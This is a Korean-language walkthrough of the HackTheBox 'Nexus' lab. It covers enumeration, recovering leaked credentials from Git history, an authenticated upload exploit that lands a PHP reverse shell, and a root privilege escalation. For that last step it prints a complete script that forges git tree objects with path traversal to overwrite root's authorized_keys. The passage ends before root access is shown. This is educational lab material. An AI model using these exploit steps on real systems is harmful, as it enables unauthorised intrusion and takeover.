▌ TRANSMISSION · [HTB]

[EASY_Linux] Nexus


alt text

우선 주어진 타겟 IP를 대상으로 열린 포트와 실행 중인 서비스를 식별해봤다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ sudo nmap 10.129.234.54 -p- --open -sV -sC --min-rate 2000
[sudo] password for m0nk3ygod:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-17 22:43 +0900
Nmap scan report for 10.129.234.54
Host is up (0.19s latency).
Not shown: 65266 closed tcp ports (reset), 267 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.93 seconds

22번과 80번 포트가 열려있는 것을 확인했으며, 각각 ssh와 http 서비스가 동작하고 있었다.

ssh는 지금 당장 접근하기 어려워보이니, http 서비스부터 접근해보기로 했다.

(스캔 결과로 얻은 도메인도 hosts 파일에 등록해주었다)

우선 접근해보면,

alt text

다음과 같은 화면을 볼 수 있다.

각 메뉴들은 페이지의 프레임? 이라고 하는게 맞을지 모르겠지만 각 섹션으로 이동되는 형태(fragment로) 였다.

맨 하단에

alt text

view role이 있는데,

alt text

열린 모달 창에서 스크롤을 끝까지 내려보면, j.matthew 라는 유저명을 확인할 수 있다.

이후에는 소스코드를 봐도 뭐가 없어서, gobuster랑 ffuf를 활용해서 directory busting과 vhost fuzzing을 진행하였다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ gobuster dir -u http://nexus.htb -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nexus.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 49296]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

gobuster 결과는 뭐가 없었고…

┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ ffuf -u http://nexus.htb/ -w /usr/share/wordlists/dirb/common.txt -H "HOST: FUZZ.nexus.htb" -fc 302

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nexus.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Header           : Host: FUZZ.nexus.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

git                     [Status: 200, Size: 14474, Words: 1195, Lines: 242, Duration: 219ms]
:: Progress: [4614/4614] :: Job [1/1] :: 210 req/sec :: Duration: [0:00:22] :: Errors: 0 ::

vhost fuzzing 결과에서는 git이라는 vhost를 발견할 수 있었다.

hosts 파일이 추가해주고, 접근해봤다.

alt text

접속하니까 이런 페이지가 나온다.

gitea 라는 서비스인 것 같다.

Gitea

  • 직접 서버에 설치해서 운영하는(self-hosted) Git 저장소 호스팅 서비스.

쉽게 말해서 내 서버에서 돌리는 github이라고 보면 된다.

버전은 하단에서 확인할 수 있었다.

  • version: 1.26.0

해당 버전이 최신 버전인지는 모르겠어서, 일단 알려진 취약점이 있나 검색해봤다.

alt text

찾아보니까, 최신 버전인거 같다. (패치가 다 된걸로 보임)

음… 근데 탐색을 들어가보면,

alt text

일단 로그인 없이도 탐색이 가능했다.

alt text

보이는 레포에 들어가보면, 위와 같이 나오는데

2번 커밋한 이력이 있다.

이걸 한번 확인해보면,

alt text

요 2개 항목이 나오는데, 여기서 위에 이력을 보면,

alt text

billing 이라는 vhost가 존재했음을 알 수 있었고, DB의 Credential 정보 또한 찾을 수 있었다. (하드코딩 수정 이력…)

  • DB Username: krayin
  • DB Password: N27xh!!2ucY04

그 아래 이력은 docker-compose.yml, .env 의 수정 전 내용이 들어있었다. (push 한듯?)

해당 크리덴셜은 gitea에서는 안먹혀서, 아까 확인한 billing 이라는 vhost에 접근이 가능한지를 확인해봤다. (hosts 파일에 추가)

alt text

오 잘 접근된다!!

Krayin

  • 무료 오픈소스 CRM 시스템이다.

커밋 이력에서 이메일 정보도 확인할 수 있었는데, 그 정보로 접근해봤다.

alt text

근데 이거 아니었ㄷ..ㅏ…

설마해서 초반에 발견한 담당자 이메일(j.matthew@nexus.htb)로 다시 시도해봤는데,

alt text

헉, 됐다.

alt text

우측 상단 프로필을 클릭하면 버전 정보도 확인할 수 있었다.

  • version: 2.2.0

바로 알려진 취약점이 있나 확인해봤다.

alt text

2.2.x 버전에는 여러 취약점이 발견되었다고 한다.

이중에서 RCE가 가능함도 확인했는데, 이에 대한 자세한 정보는 exploitDB를 활용하였다.

요거를 이용해봤다!!

우선 exploit 코드를 저장해주고, 리스너를 열어주었다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ vim exploit.py

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ python3 exploit.py -h
usage: exploit.py [-h] -t TARGET -u USER -p PASSWORD -f FILE

Exploit for CVE-2026-38526, authenticated file upload.

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target url. E.g. http://127.0.0.1
  -u, --user USER       Email.
  -p, --password PASSWORD
                        Password.
  -f, --file FILE       File to upload (/home/user/shell.php).

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ sudo nc -lnvp 4885
listening on [any] 4885 ...

해당 exploit 스크립트는 php 웹쉘을 실행하는 형태이기 때문에, 리버스쉘을 받을 php 파일도 하나 필요하다.

여기서 PHP PentestMonkey로 스크립트를 짜줬고, 이제 exploit.py를 실행해보면?

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ python3 exploit.py -t "http://billing.nexus.htb/admin/login" -u "j.matthew@nexus.htb" -p 'N27xh!!2ucY04' -f revsh.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/fa87724b543cf71e7aed9c6342980de1.php

성공적으로 스크립트가 실행되고, 이제 요기로 접속해보면??

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ sudo nc -lnvp 4885
listening on [any] 4885 ...
connect to [10.10.14.106] from (UNKNOWN) [10.129.234.54] 46550
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
 09:43:24 up 18:57,  0 user,  load average: 0.01, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

요렇게 쉘이 받아진다!

쉘 안정화도 해주고,

$ script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
www-data@nexus:/$

일단 권한은

www-data@nexus:/$ id && whoami
id && whoami
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data

www-data 권한이었고, 홈디렉터리를 탐색해보면

www-data@nexus:~/krayin$ ls -al
ls -al
total 568
drwxr-xr-x 14 www-data www-data   4096 May 12 12:06 .
drwxr-xr-x  4 root     root       4096 May 12 12:06 ..
-rw-r--r--  1 www-data www-data    220 Mar 17  2026 .editorconfig
-rw-r--r--  1 www-data www-data   1195 Apr 22 22:50 .env
-rw-r--r--  1 www-data www-data   1124 Mar 17  2026 .env.example
-rw-r--r--  1 www-data www-data    186 Mar 17  2026 .gitattributes
-rw-r--r--  1 www-data www-data    455 Mar 17  2026 .gitignore
-rw-r--r--  1 www-data www-data   3353 Mar 17  2026 CODE_OF_CONDUCT.md
-rw-r--r--  1 www-data www-data   1078 Mar 17  2026 LICENSE
-rw-r--r--  1 www-data www-data   5920 Mar 17  2026 README.md
-rw-r--r--  1 www-data www-data   1783 Mar 17  2026 UPGRADE.md
drwxr-xr-x  5 www-data www-data   4096 May 12 12:06 app
-rwxr-xr-x  1 www-data www-data    350 Mar 17  2026 artisan
drwxr-xr-x  3 www-data www-data   4096 May 12 12:06 bootstrap
-rw-r--r--  1 www-data www-data   3824 Mar 17  2026 composer.json
-rw-r--r--  1 www-data www-data 454427 Mar 17  2026 composer.lock
drwxr-xr-x  2 www-data www-data   4096 May 12 12:06 config
drwxr-xr-x  5 www-data www-data   4096 May 12 12:06 database
-rw-r--r--  1 www-data www-data     32 Mar 17  2026 example.txt
drwxr-xr-x  3 www-data www-data   4096 May 12 12:06 lang
-rw-r--r--  1 www-data www-data    216 Mar 17  2026 package.json
drwxr-xr-x  3 www-data www-data   4096 May 12 12:06 packages
-rw-r--r--  1 www-data www-data   1164 Mar 17  2026 phpunit.xml
-rw-r--r--  1 www-data www-data    173 Mar 17  2026 pint.json
drwxr-xr-x  6 www-data www-data   4096 May 12 12:06 public
drwxr-xr-x  5 www-data www-data   4096 May 12 12:06 resources
drwxr-xr-x  2 www-data www-data   4096 May 12 12:06 routes
drwxrwxr-x  6 www-data www-data   4096 May 12 12:06 storage
drwxr-xr-x  4 www-data www-data   4096 May 12 12:06 tests
drwxr-xr-x 71 www-data www-data   4096 May 12 12:06 vendor
-rw-r--r--  1 www-data www-data    263 Mar 17  2026 vite.config.js

.env 파일을 발견할 수 있었는데,

www-data@nexus:~/krayin$ cat .env
cat .env
APP_NAME="Krayin CRM"
APP_ENV=local
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
APP_DEBUG=true
APP_URL=http://billing.nexus.htb
APP_TIMEZONE=Asia/Kolkata
APP_LOCALE=en
APP_CURRENCY=USD

VITE_HOST=
VITE_PORT=

LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
DB_PREFIX=

BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120

MEMCACHED_HOST=127.0.0.1

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS=laravel@krayincrm.com
MAIL_FROM_NAME="${APP_NAME}"
MAIL_DOMAIN=webkul.com

MAIL_RECEIVER_DRIVER=sendgrid

IMAP_HOST=imap.example.com
IMAP_PORT=993
IMAP_ENCRYPTION=ssl
IMAP_VALIDATE_CERT=true
IMAP_USERNAME=your_username
IMAP_PASSWORD=your_password

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

여기서 api키라던가 정확한 환경 정보에 대해 확인할 수 있었다.

현재 DB 계정도 알아낼 수 있었다.

  • DB_USERNAME=krayin
  • DB_PASSWORD=y27xb3ha!!74GbR

이후 /home 디렉터리를 보면,

www-data@nexus:/home$ ls
ls
git  jones

jones 라는 사용자가 있다는 것도 확인할 수 있다.

jones와 아까 얻은 DB 패스워드를 조합하여 ssh에 접근해보면,

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ ssh jones@nexus.htb
The authenticity of host 'nexus.htb (10.129.234.54)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'nexus.htb' (ED25519) to the list of known hosts.
jones@nexus.htb's password:
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Sep 19 09:51:21 AM UTC 2026

  System load:           0.1
  Usage of /:            67.3% of 6.48GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.129.234.54
  IPv6 address for eth0: dead:beef::a0de:adff:fe07:8713


Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
jones@nexus:~$

이렇게 lateral movement까지 진행할 수 있다.

User flag

jones@nexus:~$ cat user.txt
c267************************33ef

이제 권한상승을 해보자.

jones@nexus:~$ sudo -l
[sudo] password for jones:
Sorry, user jones may not run sudo on nexus.

일단 sudo 못쓰는거 확인.

suid 붙은걸 find해봐도 뭐가 안나오고, cron도 없고…

ps도 뭐 없고…

근데 systemd timer를 보면,

jones@nexus:~$  systemctl list-timers --all
NEXT                             LEFT LAST                              PASSED UNIT                           ACTIVATES
Sat 2026-09-19 10:28:06 UTC       40s Sat 2026-09-19 10:27:06 UTC      19s ago gitea-template-sync.timer      gitea-template-sync.service
Sat 2026-09-19 10:30:00 UTC  2min 34s Sat 2026-09-19 10:20:01 UTC     7min ago sysstat-collect.timer          sysstat-collect.service
Sat 2026-09-19 10:39:00 UTC     11min Sat 2026-09-19 10:09:05 UTC    18min ago phpsessionclean.timer          phpsessionclean.service
Sat 2026-09-19 10:57:17 UTC     29min Sat 2026-09-19 09:57:25 UTC    30min ago fwupd-refresh.timer            fwupd-refresh.service
Sat 2026-09-19 14:50:49 UTC  4h 23min Fri 2026-09-18 14:50:49 UTC      19h ago update-notifier-download.timer update-notifier-download.service
Sat 2026-09-19 15:00:48 UTC  4h 33min Fri 2026-09-18 15:00:48 UTC      19h ago systemd-tmpfiles-clean.timer   systemd-tmpfiles-clean.service
Sat 2026-09-19 17:56:12 UTC        7h Sat 2026-09-19 01:18:53 UTC       9h ago apt-daily.timer                apt-daily.service
Sat 2026-09-19 23:56:52 UTC       13h Sat 2026-09-19 01:42:04 UTC       8h ago motd-news.timer                motd-news.service
Sun 2026-09-20 00:00:00 UTC       13h Sat 2026-09-19 00:00:03 UTC      10h ago dpkg-db-backup.timer           dpkg-db-backup.service
Sun 2026-09-20 00:00:00 UTC       13h Sat 2026-09-19 00:00:03 UTC      10h ago logrotate.timer                logrotate.service
Sun 2026-09-20 00:07:00 UTC       13h Sat 2026-09-19 00:07:03 UTC      10h ago sysstat-summary.timer          sysstat-summary.service
Sun 2026-09-20 03:10:22 UTC       16h Fri 2026-09-18 14:45:55 UTC      19h ago e2scrub_all.timer              e2scrub_all.service
Sun 2026-09-20 03:51:32 UTC       17h Sat 2026-09-19 05:17:15 UTC 5h 10min ago man-db.timer                   man-db.service
Sun 2026-09-20 06:41:24 UTC       20h Sat 2026-09-19 06:02:45 UTC 4h 24min ago apt-daily-upgrade.timer        apt-daily-upgrade.service
Mon 2026-09-21 00:49:56 UTC 1 day 14h Fri 2026-09-18 15:27:19 UTC      19h ago fstrim.timer                   fstrim.service
Thu 2026-09-24 23:07:13 UTC    5 days Mon 2026-03-23 10:50:29 UTC            - update-notifier-motd.timer     update-notifier-motd.service
-                                   - -                                      - apport-autoreport.timer        apport-autoreport.service
-                                   - -                                      - snapd.snap-repair.timer        snapd.snap-repair.service
-                                   - -                                      - ua-timer.timer                 ua-timer.service

19 timers listed.

gitea-template-sync.timer가 주기적으로 gitea-template-sync.service를 실행시키는 것을 볼 수 있었다.

나온 김에 systemd에 대해 알아보자…

systemd timer

  • systemd: 부팅 이후 각종 서비스를 시작하고 관리하는 서비스 관리자

예를 들어 ssh 서버도 보통 ssh.service 같은 systemd unit으로 관리된다.

systemd에는 여러 종류의 unit이 있는데, 다음과 같은 것들이 있다.

  • .service: 프로그램/서비스 실행
  • .timer: 특정 시간에 다른 unit 실행
  • .socket: 소켓 이벤트 기반 실행
  • .path: 파일/디렉터리 변경 감지
  • .mount: 파일시스템 mount

이중에서 .timer는 설명에서 알 수 있듯 예약 실행을 담당한다.

근데 프로그램을 실행하는게 아니라, 연결된 .service를 활성화하는 형태이다.

그래서 아까 systemctl list-timers를 확인했을 때도, gitea-template-sync.service라고 나온 것이다.

timer를 본 이유는, cron과 같은 주기적으로 실행되는 무언가가 있는지 확인하기 위함이었고,

gitea-template-sync를 본 이유는,

jones@nexus:~$ systemctl cat gitea-template-sync.service
# /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

이 녀석이 root 권한으로 돌아가기 때문이다!

일단 주기적으로 실행되는 스크립트인 template-sync.py 내용을 보면,

jones@nexus:~$ cat /etc/gitea/template-sync.py
import os
import sys
import json
import subprocess
import time
import urllib.request

GITEA_URL = "http://localhost:3000"
REPO_ROOT = "/var/lib/gitea/data/gitea-repositories"
STAGING_DIR = "/home/git/template-staging"
LOG_FILE = "/var/log/template-sync.log"

def log(msg):
    ts = time.strftime("%Y-%m-%d %H:%M:%S")
    line = "[%s] %s" % (ts, msg)
    print(line, flush=True)
    try:
        os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
        with open(LOG_FILE, 'a') as f:
            f.write(line + '\n')
    except:
        pass

def load_config():
    config = {}
    for path in ['/etc/gitea/template-sync.conf', '/opt/forge/app/.env']:
        try:
            with open(path) as f:
                for line in f:
                    line = line.strip()
                    if line and not line.startswith('#') and '=' in line:
                        k, v = line.split('=', 1)
                        config[k.strip()] = v.strip()
        except:
            pass
    return config

def get_token():
    cfg = load_config()
    return cfg.get('GITEA_API_TOKEN')

def get_template_repos(token):
    url = "%s/api/v1/repos/search?limit=50" % GITEA_URL
    req = urllib.request.Request(url, headers={
        'Authorization': 'token %s' % token
    })
    try:
        with urllib.request.urlopen(req) as resp:
            data = json.loads(resp.read())
            repos = data.get('data', data) if isinstance(data, dict) else data
            return [r for r in repos if r.get('template', False)]
    except Exception as e:
        log("API error: %s" % e)
        return []

def sync_template(repo_info):
    owner = repo_info['owner']['login']
    name = repo_info['name'].lower()
    bare_path = os.path.join(REPO_ROOT, owner, "%s.git" % name)
    stage_path = os.path.join(STAGING_DIR, owner, name)

    if not os.path.isdir(bare_path):
        log("  repo not found: %s" % bare_path)
        return

    # Read tree entries from the bare repository
    try:
        GIT = ['git', '-c', 'safe.directory=*']
        result = subprocess.run(
            GIT + ['ls-tree', '-r', 'HEAD'],
            cwd=bare_path,
            capture_output=True, text=True, timeout=10
        )
        if result.returncode != 0:
            log("  ls-tree failed: %s" % result.stderr.strip())
            return
    except Exception as e:
        log("  ls-tree error: %s" % e)
        return

    entries = []
    for line in result.stdout.strip().split('\n'):
        if not line:
            continue
        parts = line.split('\t', 1)
        if len(parts) != 2:
            continue
        meta, filepath = parts
        mode, objtype, objhash = meta.split()
        if objtype == 'blob':
            entries.append((mode, objhash, filepath))

    if not entries:
        log("  no files in template")
        return

    # Extract files to staging directory
    for mode, objhash, filepath in entries:
        target = os.path.join(stage_path, filepath)
        target_dir = os.path.dirname(target)

        try:
            os.makedirs(target_dir, exist_ok=True)
            GIT = ['git', '-c', 'safe.directory=*']
            cat_result = subprocess.run(
                GIT + ['cat-file', 'blob', objhash],
                cwd=bare_path,
                capture_output=True, timeout=10
            )
            if cat_result.returncode != 0:
                continue

            with open(target, 'wb') as f:
                f.write(cat_result.stdout)

            if mode == '100755':
                os.chmod(target, 0o755)
            else:
                os.chmod(target, 0o644)

            log("  synced: %s" % filepath)
        except Exception as e:
            log("  error syncing %s: %s" % (filepath, e))

def main():
    log("Template sync starting")

    token = get_token()
    if not token:
        log("No API token found")
        sys.exit(1)

    templates = get_template_repos(token)
    log("Found %d template repo(s)" % len(templates))

    for repo in templates:
        name = repo['full_name']
        log("Syncing template: %s" % name)
        sync_template(repo)

    log("Template sync complete")

if __name__ == '__main__':
    main()

요렇게 돌아가고 있는데…

요약하면, Gitea에서 Template로 지정된 리포의 파일들을 /home/git/template-staging/<owner>/<repo>/로 자동 복사하는 동기화 스크립트이다.

여기서 짜잘한거 다 치우고 sync_template() 함수를 보면

alt text

git ls-tree -r HEAD 명령을 쓴 결과를 가져온다.

이는 Gitea 저장소 안의 Git tree 구조를 읽어 파일 경로를 가져오는 명령으로, 이 결과값(파일 경로)을

alt text

filepath에 넣는 것을 볼 수 있다.

그리고 그 경로를

alt text

실제 복사 위치와 합치게 된다.

이런식으로 동기화를 진행하게 되는데…

일단 gitea 로그인을 jones 계정으로 시도를 해봤다.

  • jones:y27xb3ha!!74GbR

alt text

음~ 일단 git 조작이 가능하다는 것은 확인했고, 이것도 나온김에 git 개념을 정리를 해봐야겠다.

Git

Git은 저장소의 데이터를 Blob, Tree, Commit 등의 Git Object 형태로 .git/objects/에 저장한다.

Blob Object는 파일 내용을 저장하고,

Tree Object는 파일명 및 다른 Object와의 연결을 통해 디렉터리 구조를 표현하며,

Commit Object는 특정 Tree를 가리킨다.

여기서, 일반적인 Git 명령은 ..와 같은 비정상적인 경로 요소가 포함된 경로 생성을 검증하여 차단한다.

하지만 Git Object를 직접 구성하여 .git/objects/에 저장한다면?

이러한 검증을 우회해서 ..가 포함된 Tree Entry를 생성할 수 있을 것이다.

그러면 git ls-tree를 실행해서 얻은 filepath에 대해 별도의 경로 검증을 수행하지 않고 os.path.join(stage_path, filepath)의 결과를 실제 파일 쓰기 경로로 사용할 것이고, ..가 포함된 Git Tree를 구성하면 staging 디렉터리를 벗어나는 Directory Traversal이 발생시킬 수 있을 것이다.

이걸로 뭘하면 좋을까 하다가… 덮어쓰는 행위인 접을 이용해서, root의 ssh 키를 내꺼로 덮어버리도록 만들기로 했다.

Gitea Template Directory Traversal

일단 template repository를 하나 만들어주자.

alt text

대충 적어주고,

alt text

요거를 꼭 체크해주어야한다.

그리고 요걸 clone 해온다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ git clone http://jones:'y27xb3ha!!74GbR'@git.nexus.htb/jones/monkeygod.git
Cloning into 'monkeygod'...
warning: You appear to have cloned an empty repository.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ ls -al
total 24
drwxr-xr-x 3 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 .
drwxr-xr-x 6 m0nk3ygod m0nk3ygod 4096 Sep 19 16:13 ..
-rw-r--r-- 1 m0nk3ygod m0nk3ygod 2067 Sep 19 18:42 exploit.py
-rw-r--r-- 1 m0nk3ygod m0nk3ygod 1926 Sep 19 17:49 ex.py
drwxr-xr-x 3 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 monkeygod
-rw-r--r-- 1 m0nk3ygod m0nk3ygod 2589 Sep 19 18:42 revsh.php

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus]
└─$ cd monkeygod

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ ls -al
total 12
drwxr-xr-x 3 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 .
drwxr-xr-x 3 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 ..
drwxr-xr-x 6 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 .git

그리고 커스텀으로 경로 생성을 해줘야하는데,

/home/git/template-staging/<owner>/<repo>/에 붙기 때문에, 최소 ..을 5번은 해야한다.

  • home
  • git
  • template-staging
  • <owner>
  • <repo>

(이렇게 5개)

그리고 blob 생성, tree 생성, commit 생성도 해줘야하는데…

Git 검증을 우회하는 스크립트는 GPT한테 시켰다.

이때 ssh 공개키를 덮는 방식도 해주도록 exploit 코드에 추가해달라고 같이 GPT한테 시켰다.

#!/usr/bin/env python3
import os
import sys
import time
import zlib
import hashlib


def write_object(obj_type, data):
    if isinstance(data, str):
        data = data.encode()

    # Git object format:
    # "<type> <size>\0<data>"
    raw = f"{obj_type} {len(data)}".encode() + b"\x00" + data

    oid = hashlib.sha1(raw).hexdigest()

    path = os.path.join(
        ".git",
        "objects",
        oid[:2],
        oid[2:]
    )

    os.makedirs(os.path.dirname(path), exist_ok=True)

    with open(path, "wb") as f:
        f.write(zlib.compress(raw))

    return oid


def tree_entry(mode, name, oid):
    return (
        f"{mode} {name}".encode()
        + b"\x00"
        + bytes.fromhex(oid)
    )


if not os.path.isdir(".git"):
    print("Run inside a Git repository")
    sys.exit(1)

pubkey_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/.k.pub"

with open(pubkey_path, "rb") as f:
    pubkey = f.read()

if not pubkey.endswith(b"\n"):
    pubkey += b"\n"


# 1. authorized_keys 파일 내용
key_blob = write_object("blob", pubkey)


# 2. .ssh/authorized_keys 구조
authorized_tree = write_object(
    "tree",
    tree_entry("100644", "authorized_keys", key_blob)
)

ssh_tree = write_object(
    "tree",
    tree_entry("40000", ".ssh", authorized_tree)
)

root_tree = write_object(
    "tree",
    tree_entry("40000", "root", ssh_tree)
)


# 3. ../../../../../ 를 tree 구조로 직접 생성
current = root_tree

for _ in range(5):
    current = write_object(
        "tree",
        tree_entry("40000", "..", current)
    )


# 4. 위 tree를 가리키는 commit 생성
now = int(time.time())
identity = f"poc <poc@example.invalid> {now} +0000"

commit_data = (
    f"tree {current}\n"
    f"author {identity}\n"
    f"committer {identity}\n"
    "\n"
    "raw git tree poc\n"
)

commit_oid = write_object("commit", commit_data)


# 5. main 브랜치가 새 commit을 가리키게 함
os.makedirs(".git/refs/heads", exist_ok=True)

with open(".git/refs/heads/main", "w") as f:
    f.write(commit_oid + "\n")

with open(".git/HEAD", "w") as f:
    f.write("ref: refs/heads/main\n")

print("commit:", commit_oid)
print("check with:")
print("  git ls-tree -r HEAD")

실행 전에 내 공개키를 하나 생성해주고,

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ ssh-keygen -t ed25519 -f ./.k -N ''
Generating public/private ed25519 key pair.
Your identification has been saved in ./.k
Your public key has been saved in ./.k.pub
The key fingerprint is:
SHA256:/94DAVzeTI5NqTn7Gty905Bv1EfR1vGMBeB/RIDTaec m0nk3ygod@m0nk3ygod
The key's randomart image is:
+--[ED25519 256]--+
|         . .o+=**|
|          oooO=**|
|           .+=*+=|
|            =. .E|
|        S    +.oo|
|         . .o.oo+|
|          . oo.++|
|           . oo.=|
|           .+..+.|
+----[SHA256]-----+

그러면 준비는 끝났다.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ ls -al
total 24
drwxr-xr-x 3 m0nk3ygod m0nk3ygod 4096 Sep 19 23:41 .
drwxr-xr-x 3 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 ..
-rw-r--r-- 1 m0nk3ygod m0nk3ygod 2190 Sep 19 23:41 ex.py
drwxr-xr-x 6 m0nk3ygod m0nk3ygod 4096 Sep 19 23:34 .git
-rw------- 1 m0nk3ygod m0nk3ygod  411 Sep 19 23:41 .k
-rw-r--r-- 1 m0nk3ygod m0nk3ygod  101 Sep 19 23:41 .k.pub

바로 실행해보자!!

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ python3 ex.py .k.pub
commit: 073e008c43a3a6bf96f5bf73d1b2eb762613c8f3
check with:
  git ls-tree -r HEAD

요렇게 실행해주고, git ls-tree -r HEAD 실행해보면?

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ git ls-tree -r HEAD
100644 blob 7cac0f5a820e7d3b636f32cccda4191be36f20a0    ../../../../../root/.ssh/authorized_keys

오! 잘 된 것 같다???

이제 push 해주자.

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
└─$ git push -u origin main --force
Enumerating objects: 10, done.
Counting objects: 100% (10/10), done.
Delta compression using up to 12 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (10/10), 580 bytes | 290.00 KiB/s, done.
Total 10 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
remote: . Processing 1 references
remote: Processed 1 references in total
To http://git.nexus.htb/jones/monkeygod.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

그리고 systemd timer가 돌아가는걸 좀 기다려준 뒤… 생성한 개인키로 root에 접근해보면??

┌──(m0nk3ygod㉿m0nk3ygod)-[~/htb/box/nexus/monkeygod]
